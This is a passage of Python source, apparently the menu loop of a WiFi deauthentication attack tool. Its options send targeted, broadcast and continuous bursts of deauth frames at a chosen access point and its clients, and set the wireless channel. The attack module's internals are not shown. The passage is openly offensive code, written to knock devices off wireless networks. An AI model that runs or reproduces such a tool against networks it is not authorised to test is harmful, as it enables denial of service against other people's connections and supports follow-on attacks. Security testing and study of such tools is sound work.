r = deauth.deauth_targeted(selected_iface, selected_bssid, client, cnt)
if r['ok']:
deauth.print_status(
f"Sent {r['frames_sent']} frames in {r['duration']}s", "success"
)
else:
deauth.print_status(r['error'], "error")
elif choice == '5':
if not selected_iface or not selected_bssid:
deauth.print_status("Select interface and target AP first", "warning")
continue
cnt = input("Frame count [10]: ").strip()
cnt = int(cnt) if cnt.isdigit() else 10
deauth.print_status(f"Broadcasting {cnt} deauth frames...", "info")
r = deauth.deauth_broadcast(selected_iface, selected_bssid, cnt)
if r['ok']:
deauth.print_status(
f"Sent {r['frames_sent']} frames in {r['duration']}s", "success"
)
else:
deauth.print_status(r['error'], "error")
elif choice == '6':
if not selected_iface or not selected_bssid:
deauth.print_status("Select interface and target AP first", "warning")
continue
client = selected_client or BROADCAST
intv = input("Interval between bursts (seconds) [0.5]: ").strip()
intv = float(intv) if intv else 0.5
bst = input("Burst size [5]: ").strip()
bst = int(bst) if bst.isdigit() else 5
r = deauth.start_continuous(
selected_iface, selected_bssid, client, intv, bst
)
if r['ok']:
deauth.print_status(r['message'], "success")
else:
deauth.print_status(r['error'], "error")
elif choice == '7':
r = deauth.stop_continuous()
if r['ok']:
deauth.print_status(
f"Stopped. {r['frames_sent']} frames in {r['duration']}s",
"success"
)
else:
deauth.print_status(r.get('error', 'No attack running'), "warning")
elif choice == '8':
if not selected_iface:
deauth.print_status("Select an interface first", "warning")
continue
ch = input("Channel (1-196): ").strip()
try:
ch = int(ch)
r = deauth.set_channel(selected_iface, ch)
if r['ok']:
deauth.print_status(r['message'], "success")
else:
deauth.print_status(r['error'], "error")
except ValueError:
deauth.print_status("Invalid channel number", "error")
else:
deauth.print_status("Invalid choice", "warning")